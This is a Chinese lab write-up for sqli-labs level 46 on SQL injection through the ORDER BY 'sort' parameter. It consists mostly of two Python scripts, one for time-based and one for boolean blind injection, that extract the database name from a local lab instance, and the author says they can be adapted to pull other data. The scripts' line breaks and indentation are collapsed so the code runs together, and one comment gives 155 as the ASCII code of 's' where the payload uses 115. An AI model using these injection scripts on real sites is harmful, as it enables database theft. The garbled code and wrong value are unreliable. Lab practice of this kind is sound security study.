sqlilabs 46关(布尔、时间盲注)
46关有变化了,需要我们输入sort,那我们就从sort=1
开始 递增测试:
发现测试到sort=4就出现报错:
我们查看源码:
从图中可看出:用户输入的sort值被用于查询时的排序方式
那从前面测试sort=4时出现报错可以知道,当前的数据库有三列
时间盲注:
注意:因为时间盲注效率很低,所以建议用python写个脚本来做
import requests
import timedef send_request(url, payload):# 确认是否猜对full_url = f"{url}{payload}"start_time = time.time()response = requests.get(full_url)end_time = time.time()return end_time - start_time >= 0.5
def get_database_length(url, delay=0.7):for length in range(1, 20):payload = f"?sort=1 and if(length(database())={length}, sleep({delay}), 0)--+"if send_request(url, payload):return lengthreturn 0
def get_database_name(url, length, delay=0.7):db_name = ''for position in range(1, length + 1):for ascii_value in range(32, 127):payload = f"?sort=1 and if((select ascii(substr(database(), {position}, 1)))={ascii_value}, sleep({delay}), 0)--+"if send_request(url, payload):db_name += chr(ascii_value)breakprint(db_name)return db_name
def main():url = "http://127.0.0.1/sqlilabs/Less-46/"delay = 0.7 db_length = get_database_length(url, delay)if db_length == 0:print("Failed to determine database length.")returnelse:print(f"the length of database:{db_length}")db_name = get_database_name(url, db_length, delay)print(f"The database name is: {db_name}")if __name__ == "__main__":main()
盲注也是慢的没边,不过也算是能做出来
这里只展示获取数据库的过程了,只需修改代码就可以获取其他信息了
布尔盲注:
感谢伟大的AI !!!
原理:
在上文源码中已知:用户在sort中输入的值,将影响输出列表的排序
即:
以id排序:
以username排序:
两次返回的第一行数据不一致,那我们就可以根据这个特点进行布尔盲注了:
http://127.0.0.1/sqlilabs/Less-46/index.php?sort=if(ascii(substr(database(),1,1))=115,id,username)%20--
# 当数据库的第一个字母为s(ascii值为155),则以id排序,否则以username排序
由此引申的python代码如下:
import requests
from bs4 import BeautifulSoupdef get_content(resp):# 提出其中的信息(如果猜对,就是Dumb)soup = BeautifulSoup(resp.text, 'html.parser')username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')return username_elem.text.strip() if username_elem else Nonedef binary_search_injection(base_url, sql_query_template, max_length=100):result = []for i in range(1, max_length + 1):left, right = 32, 126while left <= right:mid = (left + right) // 2url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))try:resp = requests.get(url)content = get_content(resp)if content == 'Dumb':left = mid + 1else:right = mid - 1except Exception as e:print(f"请求 {url} 失败: {e}")breakif left > 127 or left < 32:breakchar_to_add = chr(left)if char_to_add.isspace():breakresult.append(char_to_add)print(''.join(result))return ''.join(result)if __name__ == '__main__':base_url = "http://127.0.0.1/sqlilabs/Less-46/index.php?sort={sql_query}"database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"# 获取数据库名称db_name = binary_search_injection(base_url, database_query)print(f"The database name is: {db_name}")
这里只展示获取数据库的过程了,只需修改代码就可以获取其他信息了